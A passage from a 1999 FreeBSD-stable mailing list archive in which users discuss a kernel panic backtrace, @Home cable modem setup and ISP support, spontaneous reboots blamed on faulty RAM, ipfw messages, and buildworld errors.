boot (howto=256) at ../../kern/kern_shutdown.c:285 #1 0xc014c469 in panic ( fmt=0xc01f0a34 "rlist_free: free start overlaps already freed area") at ../../kern/kern_shutdown.c:446 #2 0xc0155f36 in rlist_free (rlh=0xc0243338, start=0, end=7) at ../../kern/subr_rlist.c:159 #3 0xc01aecc7 in swap_pager_freeswapspace (object=0xcacfc6c8, from=0, to=7) at ../../vm/swap_pager.c:422 #4 0xc01aeda8 in swap_pager_freespace (object=0xcacfc6c8, start=35, size=19235) at ../../vm/swap_pager.c:445 #5 0xc01b4209 in vm_map_delete (map=0xcae96880, start=134815744, end=213602304) at ../../vm/vm_map.c:1833 #6 0xc01b42ac in vm_map_remove (map=0xcae96880, start=134815744, end=213602304) at ../../vm/vm_map.c:1874 #7 0xc01bc14b in obreak (p=0xcacbfe40, uap=0xcad70f94) at ../../vm/vm_unix.c:107 #8 0xc01d6f1b in syscall (frame={tf_es = 39, tf_ds = 39, tf_edi = 134815744, tf_esi = 134549792, tf_ebp = -1077946648, tf_isp = -891875356, tf_ebx = 671987304, tf_edx = 671987284, tf_ecx = 671987280, tf_eax = 17, tf_trapno = 0, tf_err = 2, tf_eip = 671951256, tf_cs = 31, tf_eflags = 647, tf_esp = -1077946684, tf_ss = 39}) at ../../i386/i386/trap.c:1100 #9 0xc01cc49c in Xint0x80_syscall () #10 0x280d2402 in ?? () #11 0x804c002 in ?? () #12 0x804b087 in ?? () #13 0x804a6c1 in ?? () #14 0x80490f5 in ?? () -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 20:57:22 1999 Delivered-To: freebsd-stable@freebsd.org Received: from inbox.org (inbox.org [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id A4EF514CF9 for ; Sun, 3 Oct 1999 20:57:20 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by inbox.org (8.9.3/8.9.3) with ESMTP id XAA06084; Sun, 3 Oct 1999 23:56:51 -0400 (EDT) Date: Sun, 3 Oct 1999 23:56:51 -0400 (EDT) From: "Mr. K." X-Sender: bsd@inbox.org To: David Kott Cc: John Dowdal , High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 3 Oct 1999, David Kott wrote: > On Sun, 3 Oct 1999, John Dowdal wrote: > > > One additional note for setting up @home, or most other cable modem > > services, (hmm .. any more words to throw in here for the search engine?) > > make sure you power cycle the cable modem when switching between two > > computers. When the cable modem powers up, it locks itself onto the MAC > > address of your ethernet card, and only listens to packets from that one > > address. If you go from one computer to another (or one ethernet card to > > another), you must power cycle the cable modem to reinitialize the MAC > > address, otherwise the connection will appear totally dead. Two friends > > of mine have wasted hours on this; lets get this archived to keep anyone > > else from wasting all this time. > > That seems odd to me. My roommate and I share the same cable modem. We > are not proxied as each of us have a distinct, and static IP. @Home > allows us to purchase additional IPs (up to 3 per household) to add > additional computers. > The modem is a Mot. Cybersurfer Wave. > I have seen this same thing before, with RCN cablemodem... I thought it was just myself being paranoid but aparently not if others have seen the same thing. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 1:47:37 1999 Delivered-To: freebsd-stable@freebsd.org Received: from amanda.swlct.sthames.nhs.uk (hide14.nhs.uk [194.6.81.14]) by hub.freebsd.org (Postfix) with ESMTP id 54B8014F18 for ; Mon, 4 Oct 1999 01:47:25 -0700 (PDT) (envelope-from greg@swlct.sthames.nhs.uk) Received: from greg.swlct.sthames.nhs.uk (qmh-00553.qmpgmc.ac.uk [10.1.20.82]) by amanda.swlct.sthames.nhs.uk (8.9.2/8.9.3) with SMTP id JAA21578; Mon, 4 Oct 1999 09:40:03 +0100 (BST) Message-ID: <003801bf0e46$0d1d8040$5214010a@swlct.sthames.nhs.uk> From: "Greg Quinlan" To: , "Andreas Berg" References: <4.2.0.58.19991003013420.00a73e70@atlantis.fukt.hk-r.se> Subject: Re: Strange reboots Date: Mon, 4 Oct 1999 09:54:17 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had a system which I thought was stable until I installed the latest versions of FBSD ... but soon found I had a faulty CPU (most likely from heat stress) and that it was pure co-incidence that the system started "strangely rebooting" for no reason. I'm running 3.3-RC myself and will be moving to 3.3-S when I can spare some time. Put simply - check your hardware! Greg ----- Original Message ----- From: Andreas Berg To: Sent: Sunday, October 03, 1999 12:44 AM Subject: Strange reboots > Hi, > > I recently installed FreeBSD 3.3-STABLE (990926-snapshot). The reason I > upgraded was that my old 3.2-STABLE got unstable and rebooted a little now > and then, just like it felt like it. Now, a couple of hours after the > installation of 3.3-STABLE, I get the same strange phenomenon, the box just > reboots. > > I have the following things running.. > > sshd version 1.2.27 > apache version 1.3.9 > qmail version 1.03 > bind/named version 8.2.1 > pidentd 8.2.5 > mrtg 2.8.8 > > If anyone has any suggestions why my machine is screwed up, or if there are > any known problems or exploits in these programs, I would really appreciate > it if someone could help me. Since I can't find anything wrong, I suspect > that someone is trying to hack my machine, and successfully crashes it. > > thanks, > Andy > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 2:25:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from phoenix.kurgan.ru (phoenix.kurgan.ru [195.54.28.21]) by hub.freebsd.org (Postfix) with ESMTP id 795A214BFD for ; Mon, 4 Oct 1999 02:25:10 -0700 (PDT) (envelope-from Martin@McFlySr.Kurgan.Ru) Received: from hilldale.kurgan.ru (hilldale.kurgan.ru [195.54.28.11]) by phoenix.kurgan.ru (8.9.3/8.9.3) with ESMTP id PAA17503 for ; Mon, 4 Oct 1999 15:25:05 +0600 (ESS) Date: Mon, 4 Oct 1999 15:24:07 +0600 From: Martin McFlySr X-Mailer: The Bat! (v1.35) UNREG / CD5BF9353B3B7091 Reply-To: Martin McFlySr Organization: Back To The Future X-Priority: 3 (Normal) Message-ID: <13641.991004@McFlySr.Kurgan.Ru> To: freebsd-stable@FreeBSD.ORG Subject: how can i ...? what with ipfw? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello freebsd-stable@FreeBSD.ORG, 1. How can i see what namely was changed in files after CVSup is done? I can seen at log CVSup, but can see only what files was changed: Edit src/share/man/man5/rc.conf.5 Add delta 1.27.2.17 99.10.02.10.21.36 des Add delta 1.27.2.18 99.10.02.21.41.35 des 2. What happying with ipfw? after change rc.firewall, sh rc.firewall, on console i see: dn_rule_delete, r 0xc09e6e30, default 0xc09e6eb0, 0 matches dn_rule_delete, r 0xc09e6e20, default 0xc09e6eb0, 0 matches dn_rule_delete, r 0xc09e6e10, default 0xc09e6eb0, 0 matches dn_rule_delete, r 0xc09e6e00, default 0xc09e6eb0, 0 matches etc-etc... ? kernel: ... options MROUTING options IPFIREWALL options IPFIREWALL_VERBOSE options IPFIREWALL_FORWARD options "IPFIREWALL_VERBOSE_LIMIT=20000" options IPDIVERT options TCPDEBUG options DUMMYNET ... thank you. -- Monday, October 04, 1999, 15:01 Best regards from future, Martin McFlySr, HillDale. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6: 2:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.vnet.net (smtp1.vnet.net [166.82.1.31]) by hub.freebsd.org (Postfix) with ESMTP id C350E14F18 for ; Mon, 4 Oct 1999 06:02:22 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp1.vnet.net (8.9.1a/8.9.1) with ESMTP id JAA11753 for ; Mon, 4 Oct 1999 09:02:16 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id JAA02076 for ; Mon, 4 Oct 1999 09:02:15 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id JAA00454 for freebsd-stable@freebsd.org; Mon, 4 Oct 1999 09:02:17 -0400 (EDT) Date: Mon, 4 Oct 1999 09:02:17 -0400 (EDT) From: Thomas David Rivers Message-Id: <199910041302.JAA00454@lakes.dignus.com> To: freebsd-stable@freebsd.org Subject: Spontaneous reboot on 3.3-RELEASE. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just F.Y.I. - I haven't tracked this down yet, but my recently upgraded machine (upgraded from 3.1-RELEASE to 3.3-RELEASE) seems to want to spontaneously reboot. It could be hardware - but, the timing is strange, if nothing else. I didn't get a panic, and I don't have dump'ing turned on, so I don't know what the cause was... I'll report if I determine more. - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6: 6:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gatekeeper.salestech.com (gatekeeper.salestech.com [198.153.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 47FD814EFD for ; Mon, 4 Oct 1999 06:05:51 -0700 (PDT) (envelope-from SMilliken@sti.imshealth.com) Received: from [162.44.80.67] by gatekeeper.salestech.com for zapper@idsmail.com id JAA18783; Mon Oct 4 09:04:55 1999 Received: by stiusatlcx1.salestech.com with Internet Mail Service (5.5.2448.0) id ; Mon, 4 Oct 1999 09:04:54 -0400 Message-ID: Subject: RE: @Home Connect. Date: Mon, 4 Oct 1999 09:04:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" To: "'High Voltage'" From: "Milliken, Scott" Cc: "'stable@freebsd.org'" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG One extremely important note about @Home service... make sure that you disable all of your services in inetd before ever calling them up to report outages or for any other tech support issue. The first time that I placed a call to them they port scanned me, asked why I was running apache and telnet and then informed me that I was in violation of the Acceptable Usage Policy. Also, if you call to report an outage and you list your OS as anything other than Windows 95 or Windows 98 they simply will not try to diagnose the problem from their end. You can have a Christmas tree of blinking lights on your cable modem (in Atlanta they use the Cisco uBR900) yet without the magical Win9X operating system they'll tell you that it must be a problem at your end. Good Luck, Scott Milliken -----Original Message----- From: High Voltage [mailto:zapper@idsmail.com] Sent: Sunday, October 03, 1999 5:44 PM To: FreeBSD-Stable Subject: @Home Connect. Hi Does anyone know where I can find info on how to set FreeBSD 3.3 Stable up for a @Home connect? I'm getting @Home installed this Friday and I'd like to be prepared. Thanx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6: 7: 6 1999 Delivered-To: freebsd-stable@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id 8022B15440 for ; Mon, 4 Oct 1999 06:06:44 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id JAA20065 for ; Mon, 4 Oct 1999 09:06:39 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id JAA02089; Mon, 4 Oct 1999 09:06:37 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id JAA00788; Mon, 4 Oct 1999 09:06:40 -0400 (EDT) Date: Mon, 4 Oct 1999 09:06:40 -0400 (EDT) From: Thomas David Rivers Message-Id: <199910041306.JAA00788@lakes.dignus.com> To: freebsd-stable@FreeBSD.ORG, rivers@dignus.com Subject: Re: Spontaneous reboot on 3.3-RELEASE. In-Reply-To: <199910041302.JAA00454@lakes.dignus.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Just F.Y.I. - I haven't tracked this down yet, but my recently > upgraded machine (upgraded from 3.1-RELEASE to 3.3-RELEASE) > seems to want to spontaneously reboot. > > It could be hardware - but, the timing is strange, if nothing else. > > I didn't get a panic, and I don't have dump'ing turned on, so > I don't know what the cause was... I'll report if I determine more. > > - Dave Rivers - > Well, to add to this. Now, when I do a make depend for building a new kernel (with DDB), I'm getting: cc: Internal compiler error: program cpp got fatal signal 10 Looks like I've definately got hardware problems somewhere... - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6:16:59 1999 Delivered-To: freebsd-stable@freebsd.org Received: from uncle.cult.cu (uncle.cult.cu [169.158.120.12]) by hub.freebsd.org (Postfix) with ESMTP id 2482C15412 for ; Mon, 4 Oct 1999 06:15:45 -0700 (PDT) (envelope-from elie@uncle.cult.cu) Received: from localhost (1253 bytes) by uncle.cult.cu via sendmail with P:stdio/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) (ident using unix) id for ; Mon, 4 Oct 1999 09:15:27 -0400 (CDT) (Smail-3.2.0.101 1997-Dec-17 #4 built 1998-Sep-15) Date: Mon, 4 Oct 1999 09:15:27 -0400 (CDT) From: Eliezer Rodriguez Gonzalez To: "Jeffrey J. Libman" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: building navigator4.61 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 3 Oct 1999, Jeffrey J. Libman wrote: > on my 3.3 stable system with recent ports cvsup, i get the following: > > +++++++++++++++++++++++++++++++++++++++++++++ > + There are no X aout libs on this machine. + > +++++++++++++++++++++++++++++++++++++++++++++ > *** Error code 1 > > what do i need to install first? > Hi: To solve this I installed the XFree86 v 3.3.5 that comes in the first CD of FreeBSD 3.3-RELEASE. It is mainly in elf format, although it comes bundled with its set of a.out libraries, they get installed in /usr/X11R6/lib/aout, but you need to run ldconfig -aout -m /usr/X11R6/lib/aout to make a libraries hints files for libraries in a.aout format manually or using the proper rc.conf variable; it is named ldconfig_paths_aout. I hope this helps. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6:18:40 1999 Delivered-To: freebsd-stable@freebsd.org Received: from binnacle.wantabe.com (binnacle.wantabe.com [209.16.8.14]) by hub.freebsd.org (Postfix) with ESMTP id 2AC4414C37 for ; Mon, 4 Oct 1999 06:18:33 -0700 (PDT) (envelope-from jeffrl@wantabe.com) Received: from localhost (jeffrl@localhost) by binnacle.wantabe.com (8.9.3/8.9.2) with ESMTP id IAA15736; Mon, 4 Oct 1999 08:18:22 -0500 (CDT) (envelope-from jeffrl@wantabe.com) X-Authentication-Warning: binnacle.wantabe.com: jeffrl owned process doing -bs Date: Mon, 4 Oct 1999 08:18:22 -0500 (CDT) From: "Jeffrey J. Libman" To: Thomas David Rivers Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Spontaneous reboot on 3.3-RELEASE. In-Reply-To: <199910041306.JAA00788@lakes.dignus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i've had problems like these over the years. usually i have a bad spot in my ram or in the bios. often the ram problem is pointed out by "page fault" failures, such as while running fsck in a daily cron job. cheers, jeff | |\ +------------------------------+ Jeffrey J. Libman, ops. mgr. | \ | Wantabe Internet Services | Wantabe, Inc. |__\ +------------------------------+ jeffrl@wantabe.com <-----|------> | access web cgi ftp news mail | (281) 493-0718 __,.-=\'`^`'~=-../__,.-= +------------------------------+ On Mon, 4 Oct 1999, Thomas David Rivers wrote: > > > > Just F.Y.I. - I haven't tracked this down yet, but my recently > > upgraded machine (upgraded from 3.1-RELEASE to 3.3-RELEASE) > > seems to want to spontaneously reboot. > > > > It could be hardware - but, the timing is strange, if nothing else. > > > > I didn't get a panic, and I don't have dump'ing turned on, so > > I don't know what the cause was... I'll report if I determine more. > > > > - Dave Rivers - > > > > Well, to add to this. > > Now, when I do a make depend for building a new kernel (with DDB), > I'm getting: > > cc: Internal compiler error: program cpp got fatal signal 10 > > Looks like I've definately got hardware problems somewhere... > > - Dave Rivers - > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6:20:40 1999 Delivered-To: freebsd-stable@freebsd.org Received: from smtp2.vnet.net (smtp2.vnet.net [166.82.1.32]) by hub.freebsd.org (Postfix) with ESMTP id A914115496 for ; Mon, 4 Oct 1999 06:20:27 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from dignus.com (ponds.vnet.net [166.82.177.48]) by smtp2.vnet.net (8.9.1a/8.9.1) with ESMTP id JAA22300; Mon, 4 Oct 1999 09:20:25 -0400 (EDT) Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3]) by dignus.com (8.9.2/8.8.5) with ESMTP id JAA02125; Mon, 4 Oct 1999 09:20:23 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id JAA01108; Mon, 4 Oct 1999 09:20:26 -0400 (EDT) Date: Mon, 4 Oct 1999 09:20:26 -0400 (EDT) From: Thomas David Rivers Message-Id: <199910041320.JAA01108@lakes.dignus.com> To: jeffrl@wantabe.com, rivers@dignus.com Subject: Re: Spontaneous reboot on 3.3-RELEASE. Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > i've had problems like these over the years. usually i have a bad spot in > my ram or in the bios. > > often the ram problem is pointed out by "page fault" failures, such as > while running fsck in a daily cron job. > > cheers, > jeff Yes, thanks.... I've frequently seen others post such observations. [and, I believe that's what is happening to me.] It's just rather sudden - the machine has been running for almost a week with no ram problems... but, that's the nature of the beast :-) I'm off to CompUSA to grab some RAM... - Thanks again - - Dave Rivers - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 6:50:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gatekeeper.salestech.com (gatekeeper.salestech.com [198.153.1.2]) by hub.freebsd.org (Postfix) with ESMTP id F419514C37 for ; Mon, 4 Oct 1999 06:50:43 -0700 (PDT) (envelope-from SMilliken@sti.imshealth.com) Received: from [162.44.80.67] by gatekeeper.salestech.com for eakeyson@mail1.nai.net id JAA00261; Mon Oct 4 09:50:33 1999 Received: by stiusatlcx1.salestech.com with Internet Mail Service (5.5.2448.0) id ; Mon, 4 Oct 1999 09:50:32 -0400 Message-ID: Subject: RE: @Home Connect. Date: Mon, 4 Oct 1999 09:50:31 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" To: "'eakeyson'" From: "Milliken, Scott" Cc: "'stable@freebsd.org'" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ed, You can either not complain when the service goes out (which it does quite a bit in Atlanta, but I have no other high speed alternative) or you can lie and tell them that you are running Windows 95. As far as the services go, I only run ssh at home since that will allow me to log in to the box and to use scp for transferring files. The "gotcha" in the AUP is that they leave a clause at the bottom stating that they can change it at any time without notification. I was told that I could stop the web/telnet/ftp services or they could take back their cable modem. In other words, their tech support department seems to favor hiring cocky jerks. Scott -----Original Message----- From: eakeyson [mailto:eakeyson@mail1.nai.net] Sent: Monday, October 04, 1999 9:45 AM To: Milliken, Scott Subject: RE: @Home Connect. So, what are you suggesting? Not calling them at all, or calling them and telling them that you are using a non-standard OS with non-approved services running and they will leave you alone... Either way seems like you will get very little help. I am asking because I am considering hooking up cable modem to my FBSD 3.3-Stable box as a gateway for my system and I would like to run some low-volume FTP and HTTP servers and possibly telnet/ssh. What did they do after they told you that you were in violation of the AUP? Spank you and your modem? Sorry for the extra bandwidth.... Ed Akeyson Guilford, CT > -----Original Message----- > From: owner-freebsd-stable@FreeBSD.ORG > [mailto:owner-freebsd-stable@FreeBSD.ORG]On Behalf Of Milliken, Scott > Sent: Monday, October 04, 1999 9:05 AM > To: 'High Voltage' > Cc: 'stable@freebsd.org' > Subject: RE: @Home Connect. > > > One extremely important note about @Home service... make sure that you > disable all of your services in inetd before ever calling them up > to report > outages or for any other tech support issue. The first time that > I placed a > call to them they port scanned me, asked why I was running apache > and telnet > and then informed me that I was in violation of the Acceptable > Usage Policy. > Also, if you call to report an outage and you list your OS as > anything other > than Windows 95 or Windows 98 they simply will not try to diagnose the > problem from their end. You can have a Christmas tree of > blinking lights on > your cable modem (in Atlanta they use the Cisco uBR900) yet without the > magical Win9X operating system they'll tell you that it must be a > problem at > your end. > > Good Luck, > Scott Milliken > > -----Original Message----- > From: High Voltage [mailto:zapper@idsmail.com] > Sent: Sunday, October 03, 1999 5:44 PM > To: FreeBSD-Stable > Subject: @Home Connect. > > > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 7:52:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (Postfix) with SMTP id 64A9715169 for ; Mon, 4 Oct 1999 07:51:51 -0700 (PDT) (envelope-from tom@uniserve.com) Received: from shell.uniserve.ca [204.244.186.218] by pop.uniserve.com with smtp (Exim 1.82 #4) id 11Y9RF-0005KX-00; Mon, 4 Oct 1999 07:50:05 -0700 Date: Mon, 4 Oct 1999 07:50:04 -0700 (PDT) From: Tom X-Sender: tom@shell.uniserve.ca To: Thomas David Rivers Cc: jeffrl@wantabe.com, freebsd-stable@FreeBSD.ORG Subject: Re: Spontaneous reboot on 3.3-RELEASE. In-Reply-To: <199910041320.JAA01108@lakes.dignus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Thomas David Rivers wrote: > Yes, thanks.... I've frequently seen others post such observations. > [and, I believe that's what is happening to me.] > > It's just rather sudden - the machine has been running for almost > a week with no ram problems... but, that's the nature of the beast :-) > > I'm off to CompUSA to grab some RAM... This time get ECC RAM. > - Thanks again - > - Dave Rivers - Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 7:56:34 1999 Delivered-To: freebsd-stable@freebsd.org Received: from macon.informatik.uni-tuebingen.de (macon.Informatik.Uni-Tuebingen.De [134.2.12.17]) by hub.freebsd.org (Postfix) with ESMTP id AD05615812 for ; Mon, 4 Oct 1999 07:55:54 -0700 (PDT) (envelope-from sperber@Informatik.Uni-Tuebingen.De) Received: from brabantio.informatik.uni-tuebingen.de (brabantio.Informatik.Uni-Tuebingen.De [134.2.12.25]) by macon.informatik.uni-tuebingen.de (8.9.3/8.9.1) with ESMTP id QAA48116 for ; Mon, 4 Oct 1999 16:55:51 +0200 Received: (from sperber@localhost) by brabantio.informatik.uni-tuebingen.de (8.9.3/8.9.1) id QAA40122; Mon, 4 Oct 1999 16:55:48 +0200 To: freebsd-stable@FreeBSD.ORG Subject: -DNOCLEAN failure Mime-Version: 1.0 (generated by tm-edit 1.4) Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable From: sperber@Informatik.Uni-Tuebingen.De (Michael Sperber [Mr. Preprocessor]) Date: 04 Oct 1999 16:55:47 +0200 Message-ID: Lines: 23 X-Mailer: Gnus v5.6.45/XEmacs 21.2 - "Shinjuku" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is possibly a stupid newbie question; I'm doing my first serious stable build, cvsupped yesterday. I'm doing the build in AFS using arla, which is not absolutely stable yet. The build gets far, but arla will usually quit before the build finishes completely. Hence, I'm using to -DNOCLEAN to restart the build. This fails in one place: The buildworld tries to overwrite readonly files via vanilla cp -p to /usr/obj/usr/src/tmp/usr/bin which fails. I need to do rm -rf /usr/obj/usr/src/tmp/usr/bin/* Is this a bug, or am I doing something I'm not supposed to? -- = Cheers =3D8-} Mike Friede, V=F6lkerverst=E4ndigung und =FCberhaupt blabla To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 8:12:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from nimbus.superior.net (nimbus.superior.net [206.153.96.1]) by hub.freebsd.org (Postfix) with ESMTP id E804C14A1F for ; Mon, 4 Oct 1999 08:12:03 -0700 (PDT) (envelope-from robert@nimbus.superior.net) Received: (from robert@localhost) by nimbus.superior.net (8.9.3/8.9.3/RB) id LAA13939 for stable@freebsd.org; Mon, 4 Oct 1999 11:12:01 -0400 (EDT) From: Robert Blayzor Message-Id: <199910041512.LAA13939@nimbus.superior.net> Subject: Re: 3.3-STABLE buildworld In-Reply-To: <19991004163148.N63946@daemon.ninth-circle.org> from Jeroen Ruigrok/Asmodai at "Oct 4, 1999 4:31:48 pm" To: stable@freebsd.org Date: Mon, 4 Oct 1999 11:12:01 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I did that. A make clean in /usr/src seems to do that for me already. > On [19991004 16:12], Robert Blayzor (robert@superior.net) wrote: > >I'm having a problem buildworlding off the most recent 3.3-stable update. > >On several machines, I'm getting this error and the buildworld dies: > > > >rm -f .depend /usr/obj/usr/src/secure/lib/libcrypt/GPATH /usr/obj/usr/src/secure/lib/libcrypt/GRTAGS /usr/obj/usr/src/secure/lib/libcrypt/GSYMS /usr/obj/usr/src/secure/lib/libcrypt/GTAGS > >cc -O -pipe -I/usr/src/secure/lib/libcrypt/../../../lib/libmd -I/usr/src/secure/lib/libcrypt/../../../lib/libcrypt -DNONEXPORTABLE_CRYPT -DLIBC_SCCS -Wall -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c -o crypt.o > >/usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: In function `crypt': > >/usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:62: warning: unused variable `j' > >/usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c: At top level: > >/usr/src/secure/lib/libcrypt/../../../lib/libcrypt/crypt.c:14: warning: `rcsid' defined but not used > >make: don't know how to make crypt-md5.c. Stop > > The best forum to ask and report these kind of problems is > freebsd-stable@freebsd.org > > I have the reply-to to stable. > > I have seen no reports on -stable which indicate this. You could have > cvsup'd between commits. Could you wait a few hours, re-cvsup and try > again? > > Also, rm -rf your whole /usr/obj [you will prolly need a chflags -R > noschg as well]. > > HTH, > > -- > Jeroen Ruigrok van der Werven/Asmodai asmodai(at)wxs.nl > The BSD Programmer's Documentation Project > Network/Security Specialist BSD: Technical excellence at its best > Those who cannot remember the past are condemned to repeat it. > -- Robert Blayzor robert@superior.net Telecon Communications MIS/Programmer/Admin Network Engineer 131 Enterprise Rd. Superior Net Services 518-762-3456 Johnstown, NY 12095 "FreeBSD! Putting the 'Operating' back into OS!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Oct 4 8:22:15 1999 Delivered-To: freebsd-stable@freebsd.org Received: from nimbus.superior.net (nimbus.superior.net [206.153.96.1]) by hub.freebsd.org (Postfix) with ESMTP id 6702715171 for ; Mon, 4 Oct 1999 08:22:00 -0700 (PDT) (envelope-from robert@nimbus.superior.net) Received: (from robert@localhost) by nimbus.superior.net (8.9.3/8.9.3/RB) id LAA16382 for freebsd-stable@freebsd.org; Mon, 4 Oct 1999 11:21:59 -0400 (EDT) From: Robert Blayzor Message-Id: <199910041521.LAA16382@nimbus.superior.net> Subject: Re: 